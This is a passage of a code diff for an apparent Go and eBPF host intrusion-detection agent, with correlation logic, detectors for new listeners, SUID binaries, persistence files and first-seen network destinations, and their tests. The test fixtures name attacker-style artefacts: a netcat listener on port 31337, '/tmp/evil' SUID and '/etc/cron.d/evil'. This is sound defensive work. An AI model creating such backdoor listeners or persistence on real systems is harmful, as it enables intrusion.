cfg.MaxSnapshotAgeDays != 60 || !cfg.FirstSeenEnabled {
t.Fatalf("unexpected defaults: %+v", cfg)
}
if !cfg.Enabled("deleted_exe") {
@ -23,7 +27,13 @@ func TestLoadFlatTOMLAndMultilineDetectorArray(t *testing.T) {
path := filepath.Join(t.TempDir(), "sentinel.toml")
raw := []byte(`
sample_interval = 1.5 # seconds
cooldown = 30
baseline_grace = 2.5
suid_refresh = 120
suid_scan_interval = 15
heartbeat_max_age = 45
max_snapshots = 25
max_snapshot_age_days = 7
detectors = [
"deleted_exe",
"egress",
@ -33,10 +43,18 @@ credential_access_allow_comms = ["firefox"]
credential_access_extra_paths = ["/srv/secrets/"]
interpreters = ["bash", "python3"]
egress_allow_cidrs = ["203.0.113.0/24"]
listener_allow_ports = ["22"]
listener_allow_comms = ["syncthing"]
suppress_package_owned_listeners = true
first_seen_enabled = false
suid_hot_dirs = ["/tmp"]
suid_scan_extra_dirs = ["/dev/shm"]
watch_persistence = ["/etc/cron.d"]
stealth_network_allow_comms = ["tcpdump"]
stealth_network_allow_kinds = ["mptcp"]
memory_obfuscation_allow_comms = ["jit-runtime"]
memory_obfuscation_allow_paths = ["/tmp/known-profiler/"]
exec_rules_file = "/etc/enodia-extra-rules.toml"
unknown_future_key = true
`)
if err := os.WriteFile(path, raw, 0o600); err != nil {
@ -46,7 +64,10 @@ unknown_future_key = true
if err != nil {
t.Fatal(err)
}
if cfg.SampleInterval != 1500*time.Millisecond || cfg.HeartbeatMaxAge != 45 {
if cfg.SampleInterval != 1500*time.Millisecond || cfg.Cooldown != 30*time.Second ||
cfg.BaselineGrace != 2500*time.Millisecond ||
cfg.SUIDRefresh != 2*time.Minute || cfg.SUIDScanInterval != 15*time.Second ||
cfg.HeartbeatMaxAge != 45 || cfg.MaxSnapshots != 25 || cfg.MaxSnapshotAgeDays != 7 {
t.Fatalf("unexpected parsed config: %+v", cfg)
}
if !cfg.Enabled("deleted_exe") || !cfg.Enabled("egress") || cfg.Enabled("reverse_shell") {
@ -62,12 +83,19 @@ unknown_future_key = true
if !cfg.Interpreters["bash"] || len(cfg.EgressAllowCIDRs) != 1 {
t.Fatalf("unexpected network tuning: %#v %#v", cfg.Interpreters, cfg.EgressAllowCIDRs)
}
if !cfg.ListenerAllowPorts["22"] || !cfg.ListenerAllowComms["syncthing"] ||
!cfg.SuppressPackageOwnedListeners || cfg.FirstSeenEnabled || cfg.Enabled("first_seen") ||
len(cfg.SUIDHotDirs) != 1 || len(cfg.SUIDScanExtraDirs) != 1 ||
len(cfg.WatchPersistence) != 1 {
t.Fatalf("unexpected baseline tuning: %+v", cfg)
}
if !cfg.StealthNetworkAllowComms["tcpdump"] || !cfg.StealthNetworkAllowKinds["mptcp"] {
t.Fatalf("unexpected stealth tuning: %#v %#v",
cfg.StealthNetworkAllowComms, cfg.StealthNetworkAllowKinds)
}
if !cfg.MemoryObfuscationAllowComms["jit-runtime"] || len(cfg.MemoryObfuscationAllowPaths) != 1 ||
cfg.MemoryObfuscationAllowPaths[0] != "/tmp/known-profiler/" {
cfg.MemoryObfuscationAllowPaths[0] != "/tmp/known-profiler/" ||
cfg.ExecRulesFile != "/etc/enodia-extra-rules.toml" {
t.Fatalf("unexpected memory tuning: %#v %#v",
cfg.MemoryObfuscationAllowComms, cfg.MemoryObfuscationAllowPaths)
}

View file

@ -0,0 +1,92 @@
// SPDX-License-Identifier: GPL-3.0-or-later
// Package correlation adds higher-confidence stories without hiding or
// replacing their raw alerts. It is transport- and persistence-independent.
package correlation
import "sort"
const SIDMultiStageIntrusion = 100080
type Incident struct {
FirstTimestamp float64 `json:"first_ts"`
LastTimestamp float64 `json:"last_ts"`
Signatures []string `json:"signatures"`
}
type Record struct {
SID int `json:"sid"`
Signature string `json:"signature"`
Classtype string `json:"classtype"`
Severity string `json:"severity"`
Summary string `json:"summary"`
WindowSeconds int `json:"window_seconds"`
MatchedSignatures []string `json:"matched_signatures"`
}
type Rule struct {
SID int
Signature string
Classtype string
Severity string
Summary string
RequiredAny []map[string]bool
MaxWindow int
}
var DefaultRules = []Rule{{
SID: SIDMultiStageIntrusion, Signature: "correlation.multi_stage_intrusion",
Classtype: "multi-stage-intrusion", Severity: "CRITICAL",
Summary: "Web/database service spawned a shell and the same incident showed " +
"suspicious egress or an unusual listener within the correlation window",
RequiredAny: []map[string]bool{
{"exec_rule.web-rce": true},
{"host_rule.suspicious-egress": true, "host_rule.suspicious-listener": true},
},
MaxWindow: 600,
}}
func Correlate(incident Incident, rules []Rule) []Record {
if rules == nil {
rules = DefaultRules
}
signatures := make(map[string]bool, len(incident.Signatures))
for _, signature := range incident.Signatures {
signatures[signature] = true
}
duration := incident.LastTimestamp - incident.FirstTimestamp
result := make([]Record, 0)
for _, rule := range rules {
if duration > float64(rule.MaxWindow) {
continue
}
matched := true
for _, choices := range rule.RequiredAny {
found := false
for choice := range choices {
if signatures[choice] {
found = true
break
}
}
if !found {
matched = false
break
}
}
if !matched {
continue
}
matchedSignatures := make([]string, 0, len(signatures))
for signature := range signatures {
matchedSignatures = append(matchedSignatures, signature)
}
sort.Strings(matchedSignatures)
result = append(result, Record{
SID: rule.SID, Signature: rule.Signature, Classtype: rule.Classtype,
Severity: rule.Severity, Summary: rule.Summary,
WindowSeconds: rule.MaxWindow, MatchedSignatures: matchedSignatures,
})
}
return result
}

View file

@ -0,0 +1,44 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package correlation
import (
"reflect"
"testing"
)
func TestCorrelateMultiStageIntrusion(t *testing.T) {
records := Correlate(Incident{
FirstTimestamp: 1000, LastTimestamp: 1050,
Signatures: []string{"host_rule.suspicious-egress", "exec_rule.web-rce"},
}, nil)
if len(records) != 1 || records[0].SID != SIDMultiStageIntrusion ||
!reflect.DeepEqual(records[0].MatchedSignatures,
[]string{"exec_rule.web-rce", "host_rule.suspicious-egress"}) {
t.Fatalf("unexpected correlation: %#v", records)
}
if records := Correlate(Incident{
FirstTimestamp: 1000, LastTimestamp: 1601,
Signatures: []string{"exec_rule.web-rce", "host_rule.suspicious-listener"},
}, nil); len(records) != 0 {
t.Fatalf("expired incident correlated: %#v", records)
}
}
func TestLineageAssignAndSeverity(t *testing.T) {
parents := map[int]int{42: 20, 20: 10, 10: 1}
lineage := LineageOf([]int{42}, func(pid int) int { return parents[pid] }, 8)
if !lineage[42] || !lineage[20] || !lineage[10] || lineage[1] {
t.Fatalf("unexpected lineage: %#v", lineage)
}
index := []IndexIncident{
{ID: "old", Host: "h", LastTimestamp: 1010, Lineage: []int{20}},
{ID: "new", Host: "h", LastTimestamp: 1020, Lineage: []int{10}},
}
if got := Assign(index, lineage, 1030, "h", 60); got != "new" {
t.Fatalf("unexpected assignment: %s", got)
}
if MaxSeverity("HIGH", "CRITICAL") != "CRITICAL" || MaxSeverity("unknown", "MEDIUM") != "MEDIUM" {
t.Fatal("severity ordering drifted")
}
}

View file

@ -0,0 +1,78 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package correlation
// LineageOf walks each starting PID through parentOf, excluding pid 0/init so
// unrelated process trees never correlate merely because they share init.
func LineageOf(pids []int, parentOf func(int) int, depth int) map[int]bool {
seen := make(map[int]bool)
for _, start := range pids {
current := start
steps := 0
for current != 0 && current != 1 && steps <= depth {
if seen[current] {
break
}
seen[current] = true
current = parentOf(current)
steps++
}
}
return seen
}
type IndexIncident struct {
ID string `json:"id"`
Host string `json:"host"`
LastTimestamp float64 `json:"last_ts"`
Lineage []int `json:"lineage"`
}
// Assign returns the most recently active incident compatible with this host
// and lineage. Empty-lineage evidence may join any open incident on the host,
// reproducing Python's fallback for FIM/package evidence without a live PID.
func Assign(index []IndexIncident, lineage map[int]bool, when float64, host string, window int) string {
best := ""
bestTimestamp := -1.0
for _, incident := range index {
if incident.Host != host || when-incident.LastTimestamp > float64(window) {
continue
}
if len(lineage) > 0 && !intersects(incident.Lineage, lineage) {
continue
}
if incident.LastTimestamp > bestTimestamp {
best, bestTimestamp = incident.ID, incident.LastTimestamp
}
}
return best
}
func MaxSeverity(left, right string) string {
if severityRank(left) >= severityRank(right) {
return left
}
return right
}
func severityRank(value string) int {
switch value {
case "MEDIUM":
return 1
case "HIGH":
return 2
case "CRITICAL":
return 3
default:
return 0
}
}
func intersects(values []int, wanted map[int]bool) bool {
for _, value := range values {
if wanted[value] {
return true
}
}
return false
}

View file

@ -0,0 +1,95 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package detectors
import (
"fmt"
"sort"
"strconv"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/netutil"
)
// FirstSeen ports the Python first_seen detector (SIDs 100074 and 100075).
// Baseline state is injected for now; durable local storage belongs to a later
// sidecar persistence tranche.
func FirstSeen(state model.State, cfg config.Config) []model.Alert {
if !cfg.Enabled("first_seen") ||
state.FirstSeenPublicDestinations == nil ||
state.FirstSeenListenerPorts == nil {
return []model.Alert{}
}
alerts := make([]model.Alert, 0)
for _, socket := range state.Sockets {
comm := socket.Comm
if comm == "" {
comm = "?"
}
if socket.State == "ESTAB" {
host, port := netutil.SplitHostPort(socket.Peer)
target := host + ":" + port
if netutil.IsPublicIP(host) && port != "" &&
!contains(state.FirstSeenPublicDestinations[comm], target) {
// Record before considering whether to alert. The first armed pass
// learns silently, and duplicate sockets in one sweep must not emit
// duplicate rarity alerts.
state.FirstSeenPublicDestinations[comm] = append(
state.FirstSeenPublicDestinations[comm], target)
sort.Strings(state.FirstSeenPublicDestinations[comm])
if state.FirstSeenInitialized {
alerts = append(alerts, model.Alert{
SID: 100074, Severity: "MEDIUM",
Signature: "first_public_destination", Classtype: "network-rarity",
Key: "firstdest:" + comm + ":" + target,
Detail: fmt.Sprintf("comm=%s first public destination %s", comm, target),
PIDs: alertPIDs(socket.PID),
})
}
}
}
if (socket.State == "LISTEN" || socket.State == "UNCONN") &&
(socket.Kind == "tcp" || socket.Kind == "udp" || socket.Kind == "") {
_, port := netutil.SplitHostPort(socket.Local)
if port != "" && port != "0" && isDigits(port) &&
!contains(state.FirstSeenListenerPorts[comm], port) {
state.FirstSeenListenerPorts[comm] = append(
state.FirstSeenListenerPorts[comm], port)
sort.Slice(state.FirstSeenListenerPorts[comm], func(i, j int) bool {
left, _ := strconv.Atoi(state.FirstSeenListenerPorts[comm][i])
right, _ := strconv.Atoi(state.FirstSeenListenerPorts[comm][j])
return left < right
})
if state.FirstSeenInitialized {
alerts = append(alerts, model.Alert{
SID: 100075, Severity: "MEDIUM",
Signature: "first_listener_port", Classtype: "network-rarity",
Key: "firstlisten:" + comm + ":" + port,
Detail: fmt.Sprintf("comm=%s first listening port %s", comm, port),
PIDs: alertPIDs(socket.PID),
})
}
}
}
}
return alerts
}
func contains(values []string, wanted string) bool {
for _, value := range values {
if value == wanted {
return true
}
}
return false
}
func isDigits(value string) bool {
for _, char := range value {
if char < '0' || char > '9' {
return false
}
}
return true
}

View file

@ -0,0 +1,45 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package detectors
import (
"testing"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
func TestFirstSeenAlertsNewDestinationAndListener(t *testing.T) {
pid := 42
cfg := config.Default()
alerts := FirstSeen(model.State{
FirstSeenInitialized: true,
FirstSeenPublicDestinations: map[string][]string{"bash": {"1.1.1.1:443"}},
FirstSeenListenerPorts: map[string][]string{"nc": {"22"}},
Sockets: []model.Socket{
{State: "ESTAB", Peer: "8.8.8.8:4443", Comm: "bash", PID: &pid},
{State: "LISTEN", Local: "0.0.0.0:31337", Comm: "nc", PID: &pid, Kind: "tcp"},
},
}, cfg)
if len(alerts) != 2 || alerts[0].SID != 100074 || alerts[1].SID != 100075 {
t.Fatalf("got %#v", alerts)
}
}
func TestFirstSeenUninitializedIsSilent(t *testing.T) {
cfg := config.Default()
state := model.State{
FirstSeenPublicDestinations: map[string][]string{},
FirstSeenListenerPorts: map[string][]string{},
Sockets: []model.Socket{
{State: "ESTAB", Peer: "8.8.8.8:443", Comm: "bash"},
{State: "ESTAB", Peer: "8.8.8.8:443", Comm: "bash"},
},
}
if alerts := FirstSeen(state, cfg); len(alerts) != 0 {
t.Fatalf("got %#v", alerts)
}
if got := state.FirstSeenPublicDestinations["bash"]; len(got) != 1 || got[0] != "8.8.8.8:443" {
t.Fatalf("silent learning did not update state once: %#v", got)
}
}

View file

@ -0,0 +1,69 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package detectors
import (
"fmt"
"strings"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/provenance"
)
// isPackageOwned is injectable so tests never shell out to a package manager.
var isPackageOwned = provenance.IsPackageOwned
// NewListener ports the Python new_listener detector (SID 100013).
// A nil baseline is represented by an empty fixture field and remains fail-open.
func NewListener(state model.State, cfg config.Config) []model.Alert {
if state.ListenerBaseline == nil {
return []model.Alert{}
}
baseline := make(map[string]bool, len(state.ListenerBaseline))
for _, key := range state.ListenerBaseline {
baseline[key] = true
}
processExe := make(map[int]string, len(state.Processes))
for _, process := range state.Processes {
processExe[process.PID] = process.Exe
}
alerts := make([]model.Alert, 0)
for _, socket := range state.Sockets {
if socket.State != "LISTEN" {
continue
}
// Python uses rpartition(":"): the port is everything after the last
// colon, or the whole endpoint when no colon exists. Splitting at the
// first colon would corrupt bracketed IPv6 locals such as "[::]:31337".
port := socket.Local
if index := strings.LastIndex(socket.Local, ":"); index >= 0 {
port = socket.Local[index+1:]
}
comm := socket.Comm
if comm == "" {
comm = "?"
}
key := port + "/" + comm
if baseline[key] || cfg.ListenerAllowPorts[port] || cfg.ListenerAllowComms[comm] {
continue
}
// Optional provenance gate, mirroring Python: a listener whose binary
// ships with an installed package is very likely legitimate.
if cfg.SuppressPackageOwnedListeners && socket.PID != nil {
if exe := processExe[*socket.PID]; exe != "" && isPackageOwned(exe) {
continue
}
}
alerts = append(alerts, model.Alert{
SID: 100013,
Severity: "HIGH",
Signature: "new_listener",
Classtype: "backdoor-listener",
Key: "lis:" + key,
Detail: fmt.Sprintf("new listening socket %s by comm=%s", socket.Local, comm),
PIDs: alertPIDs(socket.PID),
})
}
return alerts
}

View file

@ -0,0 +1,91 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package detectors
import (
"testing"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
func TestNewListenerAlertsUnbaselinedListener(t *testing.T) {
pid := 500
alerts := NewListener(model.State{
Sockets: []model.Socket{{
State: "LISTEN", Local: "0.0.0.0:31337", Comm: "nc", PID: &pid,
}},
ListenerBaseline: []string{},
}, config.Default())
if len(alerts) != 1 {
t.Fatalf("got %#v", alerts)
}
if alerts[0].SID != 100013 || alerts[0].Key != "lis:31337/nc" {
t.Fatalf("unexpected alert: %#v", alerts[0])
}
}
func TestNewListenerSkipsBaselineAndAllowLists(t *testing.T) {
pid := 501
cfg := config.Default()
cfg.ListenerAllowPorts["8080"] = true
cfg.ListenerAllowComms["sshd"] = true
state := model.State{
Sockets: []model.Socket{
{State: "LISTEN", Local: "0.0.0.0:22", Comm: "sshd", PID: &pid},
{State: "LISTEN", Local: "0.0.0.0:8080", Comm: "server", PID: &pid},
{State: "LISTEN", Local: "0.0.0.0:31337", Comm: "nc", PID: &pid},
},
ListenerBaseline: []string{"31337/nc"},
}
if alerts := NewListener(state, cfg); len(alerts) != 0 {
t.Fatalf("got %#v", alerts)
}
}
func TestNewListenerWithoutBaselineIsSilent(t *testing.T) {
state := model.State{Sockets: []model.Socket{{
State: "LISTEN", Local: "0.0.0.0:31337", Comm: "nc",
}}}
if alerts := NewListener(state, config.Default()); len(alerts) != 0 {
t.Fatalf("got %#v", alerts)
}
}
func TestNewListenerIPv6PortUsesLastColon(t *testing.T) {
pid := 502
alerts := NewListener(model.State{
Sockets: []model.Socket{{
State: "LISTEN", Local: "[::]:31337", Comm: "nc", PID: &pid,
}},
ListenerBaseline: []string{},
}, config.Default())
if len(alerts) != 1 || alerts[0].Key != "lis:31337/nc" {
t.Fatalf("got %#v", alerts)
}
}
func TestNewListenerPackageOwnedSuppression(t *testing.T) {
saved := isPackageOwned
defer func() { isPackageOwned = saved }()
isPackageOwned = func(path string) bool { return path == "/usr/bin/qbittorrent" }
pid := 503
cfg := config.Default()
cfg.SuppressPackageOwnedListeners = true
state := model.State{
Processes: []model.Process{{PID: pid, Exe: "/usr/bin/qbittorrent"}},
Sockets: []model.Socket{{
State: "LISTEN", Local: "0.0.0.0:6881", Comm: "qbittorrent", PID: &pid,
}},
ListenerBaseline: []string{},
}
if alerts := NewListener(state, cfg); len(alerts) != 0 {
t.Fatalf("got %#v", alerts)
}
// The gate only applies when explicitly enabled.
cfg.SuppressPackageOwnedListeners = false
if alerts := NewListener(state, cfg); len(alerts) != 1 {
t.Fatalf("got %#v", alerts)
}
}

View file

@ -0,0 +1,49 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package detectors
import (
"strings"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
// NewSUID ports the Python new_suid detector (SID 100014).
// The filesystem scan and baseline are supplied by the caller; absent values
// remain fail-open until the sidecar gains its own slow-scan persistence.
func NewSUID(state model.State, cfg config.Config) []model.Alert {
if state.SUIDBinaries == nil || state.SUIDBaseline == nil {
return []model.Alert{}
}
baseline := make(map[string]bool, len(state.SUIDBaseline))
for _, path := range state.SUIDBaseline {
baseline[path] = true
}
alerts := make([]model.Alert, 0)
for _, path := range state.SUIDBinaries {
if baseline[path] {
continue
}
hot := false
for _, directory := range cfg.SUIDHotDirs {
directory = strings.TrimRight(directory, "/")
if directory != "" && strings.HasPrefix(path, directory+"/") {
hot = true
break
}
}
severity := "HIGH"
detail := "new SUID/SGID binary: " + path
if hot {
severity = "CRITICAL"
detail = "SUID/SGID binary in writable dir: " + path
}
alerts = append(alerts, model.Alert{
SID: 100014, Severity: severity, Signature: "new_suid",
Classtype: "privilege-escalation", Key: "suid:" + path,
Detail: detail, PIDs: []int{},
})
}
return alerts
}

View file

@ -0,0 +1,29 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package detectors
import (
"testing"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
func TestNewSUIDSeverityAndBaseline(t *testing.T) {
alerts := NewSUID(model.State{
SUIDBinaries: []string{"/tmp/evil", "/usr/local/bin/newtool", "/usr/bin/sudo"},
SUIDBaseline: []string{"/usr/bin/sudo"},
}, config.Default())
if len(alerts) != 2 {
t.Fatalf("got %#v", alerts)
}
if alerts[0].Severity != "CRITICAL" || alerts[1].Severity != "HIGH" {
t.Fatalf("unexpected severities: %#v", alerts)
}
}
func TestNewSUIDWithoutScanIsSilent(t *testing.T) {
if alerts := NewSUID(model.State{SUIDBaseline: []string{"/usr/bin/sudo"}}, config.Default()); len(alerts) != 0 {
t.Fatalf("got %#v", alerts)
}
}

View file

@ -0,0 +1,50 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package detectors
import (
"fmt"
"sort"
"strings"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
// Persistence ports the Python persistence detector (SID 100015).
// PersistenceFiles is an injectable path-to-mtime view; live filesystem
// collection remains deferred until the sidecar gains configured slow scans.
func Persistence(state model.State, cfg config.Config) []model.Alert {
if state.PersistSince == nil {
return []model.Alert{}
}
alerts := make([]model.Alert, 0)
paths := make([]string, 0, len(state.PersistenceFiles))
for path := range state.PersistenceFiles {
paths = append(paths, path)
}
sort.Strings(paths)
for _, path := range paths {
mtime := state.PersistenceFiles[path]
if mtime <= *state.PersistSince || !watchedPath(path, cfg.WatchPersistence) {
continue
}
alerts = append(alerts, model.Alert{
SID: 100015, Severity: "HIGH", Signature: "persistence",
Classtype: "persistence", Key: "persist:" + path,
Detail: fmt.Sprintf("persistence file modified: %s", path),
PIDs: []int{},
})
}
return alerts
}
func watchedPath(path string, roots []string) bool {
for _, root := range roots {
root = strings.TrimRight(root, "/")
if path == root || (root != "" && strings.HasPrefix(path, root+"/")) {
return true
}
}
return false
}

View file

@ -0,0 +1,33 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package detectors
import (
"testing"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
func TestPersistenceAlertsModifiedWatchedFiles(t *testing.T) {
since := 100.0
alerts := Persistence(model.State{
PersistSince: &since,
PersistenceFiles: map[string]float64{
"/etc/cron.d/evil": 101,
"/tmp/not-watched": 200,
"/etc/passwd": 99,
},
}, config.Default())
if len(alerts) != 1 || alerts[0].Key != "persist:/etc/cron.d/evil" {
t.Fatalf("got %#v", alerts)
}
}
func TestPersistenceWithoutScanIsSilent(t *testing.T) {
if alerts := Persistence(model.State{
PersistenceFiles: map[string]float64{"/etc/passwd": 200},
}, config.Default()); len(alerts) != 0 {
t.Fatalf("got %#v", alerts)
}
}

View file

@ -0,0 +1,84 @@
// SPDX-License-Identifier: GPL-3.0-or-later
#define SEC(name) __attribute__((section(name), used))
#define __uint(name, value) int (*name)[value]
typedef unsigned int u32;
typedef unsigned long long u64;
#define BPF_MAP_TYPE_PERF_EVENT_ARRAY 4
#define BPF_F_CURRENT_CPU 0xffffffffULL
struct trace_event_raw_sys_enter {
u64 _common;
long id;
unsigned long args[6];
};
// Minimal CO-RE flavor of task_struct. The loader relocates these two fields
// against the running kernel's BTF, avoiding a generated vmlinux.h dependency.
struct task_struct {
int tgid;
struct task_struct *real_parent;
} __attribute__((preserve_access_index));
struct exec_event {
u32 pid;
u32 ppid;
u32 uid;
char parent_comm[16];
char filename[128];
char arg1[128];
char arg2[128];
};
struct {
__uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
__uint(key_size, sizeof(u32));
__uint(value_size, sizeof(u32));
} events SEC(".maps");
static u64 (*bpf_get_current_pid_tgid)(void) = (void *)14;
static u64 (*bpf_get_current_uid_gid)(void) = (void *)15;
static long (*bpf_get_current_comm)(void *buf, u32 size) = (void *)16;
static long (*bpf_probe_read_user)(void *dst, u32 size, const void *unsafe_ptr) = (void *)112;
static long (*bpf_probe_read_user_str)(void *dst, u32 size, const void *unsafe_ptr) = (void *)114;
static long (*bpf_probe_read_kernel)(void *dst, u32 size, const void *unsafe_ptr) = (void *)113;
static long (*bpf_perf_event_output)(void *ctx, void *map, u64 flags,
void *data, u64 size) = (void *)25;
static u64 (*bpf_get_current_task)(void) = (void *)35;
#define bpf_core_read(dst, size, src) \
bpf_probe_read_kernel((dst), (size), \
(const void *)__builtin_preserve_access_index(src))
SEC("tracepoint/syscalls/sys_enter_execve")
int trace_execve(struct trace_event_raw_sys_enter *ctx)
{
struct exec_event event = {};
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
struct task_struct *parent = 0;
const char *const *argv = (const char *const *)ctx->args[1];
const char *argument = 0;
event.pid = bpf_get_current_pid_tgid() >> 32;
event.uid = bpf_get_current_uid_gid();
bpf_core_read(&parent, sizeof(parent), &task->real_parent);
if (parent)
bpf_core_read(&event.ppid, sizeof(event.ppid), &parent->tgid);
bpf_get_current_comm(event.parent_comm, sizeof(event.parent_comm));
bpf_probe_read_user_str(event.filename, sizeof(event.filename),
(const void *)ctx->args[0]);
bpf_probe_read_user(&argument, sizeof(argument), &argv[1]);
if (argument)
bpf_probe_read_user_str(event.arg1, sizeof(event.arg1), argument);
argument = 0;
bpf_probe_read_user(&argument, sizeof(argument), &argv[2]);
if (argument)
bpf_probe_read_user_str(event.arg2, sizeof(event.arg2), argument);
bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event));
return 0;
}
char LICENSE[] SEC("license") = "GPL";

View file

@ -0,0 +1,212 @@
// SPDX-License-Identifier: GPL-3.0-or-later
#define SEC(name) __attribute__((section(name), used))
#define __uint(name, value) int (*name)[value]
typedef unsigned int u32;
typedef unsigned short u16;
typedef unsigned long long u64;
#define BPF_MAP_TYPE_HASH 1
#define BPF_MAP_TYPE_PERF_EVENT_ARRAY 4
#define BPF_F_CURRENT_CPU 0xffffffffULL
struct trace_event_raw_sys_enter {
u64 _common;
long id;
unsigned long args[6];
};
struct trace_event_raw_sys_exit {
u64 _common;
long id;
long ret;
};
struct task_struct {
int tgid;
struct task_struct *real_parent;
} __attribute__((preserve_access_index));
struct syscall_event {
u32 pid;
u32 ppid;
u32 uid;
u32 syscall_id;
char comm[16];
u64 args[6];
char text[80];
};
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(key_size, sizeof(u64));
__uint(value_size, sizeof(u32));
__uint(max_entries, 64);
} monitored_syscalls SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(key_size, 16);
__uint(value_size, sizeof(u32));
__uint(max_entries, 64);
} monitored_host_comms SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(key_size, sizeof(u64));
__uint(value_size, sizeof(struct syscall_event));
__uint(max_entries, 4096);
} pending_returns SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
__uint(key_size, sizeof(u32));
__uint(value_size, sizeof(u32));
} syscall_events SEC(".maps");
static u64 (*bpf_get_current_pid_tgid)(void) = (void *)14;
static u64 (*bpf_get_current_uid_gid)(void) = (void *)15;
static long (*bpf_get_current_comm)(void *buf, u32 size) = (void *)16;
static void *(*bpf_map_lookup_elem)(void *map, const void *key) = (void *)1;
static long (*bpf_map_update_elem)(void *map, const void *key, const void *value, u64 flags) = (void *)2;
static long (*bpf_map_delete_elem)(void *map, const void *key) = (void *)3;
static long (*bpf_probe_read_user_str)(void *dst, u32 size, const void *unsafe_ptr) = (void *)114;
static long (*bpf_probe_read_user)(void *dst, u32 size, const void *unsafe_ptr) = (void *)112;
static long (*bpf_probe_read_kernel)(void *dst, u32 size, const void *unsafe_ptr) = (void *)113;
static long (*bpf_perf_event_output)(void *ctx, void *map, u64 flags,
void *data, u64 size) = (void *)25;
static u64 (*bpf_get_current_task)(void) = (void *)35;
#define bpf_core_read(dst, size, src) \
bpf_probe_read_kernel((dst), (size), \
(const void *)__builtin_preserve_access_index(src))
SEC("tracepoint/raw_syscalls/sys_enter")
int trace_sys_enter(struct trace_event_raw_sys_enter *ctx)
{
u64 syscall_number = ctx->id;
u32 *syscall_id = bpf_map_lookup_elem(&monitored_syscalls, &syscall_number);
struct syscall_event event = {};
struct task_struct *task;
struct task_struct *parent = 0;
if (!syscall_id)
return 0;
task = (struct task_struct *)bpf_get_current_task();
event.pid = bpf_get_current_pid_tgid() >> 32;
event.uid = bpf_get_current_uid_gid();
event.syscall_id = *syscall_id;
bpf_core_read(&parent, sizeof(parent), &task->real_parent);
if (parent)
bpf_core_read(&event.ppid, sizeof(event.ppid), &parent->tgid);
bpf_get_current_comm(event.comm, sizeof(event.comm));
// Canonical ID 21 covers write/writev/pwrite variants. Keep the hot path
// in-kernel and emit only for process names that can satisfy the
// persistence-write host rule.
if (*syscall_id >= 21 && *syscall_id <= 26 &&
!bpf_map_lookup_elem(&monitored_host_comms, event.comm))
return 0;
// Match the Python BCC transport's semantic argument layout rather than
// exposing pointer-only raw ABI slots in alert keys and details.
if (*syscall_id == 3) { // memfd_create(name, flags)
event.args[0] = ctx->args[1];
bpf_probe_read_user_str(event.text, sizeof(event.text),
(const void *)ctx->args[0]);
} else if (*syscall_id == 7 || *syscall_id == 8) { // process_vm_{readv,writev}
event.args[0] = ctx->args[0]; // target pid
event.args[1] = ctx->args[2]; // local iovec count
event.args[2] = ctx->args[4]; // remote iovec count
event.args[3] = ctx->args[5]; // flags
} else if (*syscall_id == 14) { // chmod(path, mode)
event.args[0] = ctx->args[1];
event.args[2] = (u64)-100; // AT_FDCWD
bpf_probe_read_user_str(event.text, sizeof(event.text),
(const void *)ctx->args[0]);
} else if (*syscall_id == 15) { // fchmodat(dirfd, path, mode)
event.args[0] = ctx->args[2];
event.args[2] = ctx->args[0];
bpf_probe_read_user_str(event.text, sizeof(event.text),
(const void *)ctx->args[1]);
} else if (*syscall_id == 16 || *syscall_id == 17) { // chown/lchown(path, uid, gid)
event.args[0] = ctx->args[1];
event.args[1] = ctx->args[2];
event.args[2] = (u64)-100; // AT_FDCWD
bpf_probe_read_user_str(event.text, sizeof(event.text),
(const void *)ctx->args[0]);
} else if (*syscall_id == 18) { // fchownat(dirfd, path, uid, gid)
event.args[0] = ctx->args[2];
event.args[1] = ctx->args[3];
event.args[2] = ctx->args[0];
bpf_probe_read_user_str(event.text, sizeof(event.text),
(const void *)ctx->args[1]);
} else if (*syscall_id == 19) { // capset(header, data[2])
u32 effective_low = 0;
u32 effective_high = 0;
const char *data = (const char *)ctx->args[1];
bpf_probe_read_user(&effective_low, sizeof(effective_low), data);
bpf_probe_read_user(&effective_high, sizeof(effective_high), data + 12);
event.args[0] = effective_low | ((u64)effective_high << 32);
} else if (*syscall_id == 22 || *syscall_id == 23) { // connect/bind(fd, sockaddr, len)
const char *address = (const char *)ctx->args[1];
u16 family = 0;
u16 port = 0;
u32 ipv4 = 0;
bpf_probe_read_user(&family, sizeof(family), address);
bpf_probe_read_user(&port, sizeof(port), address + 2);
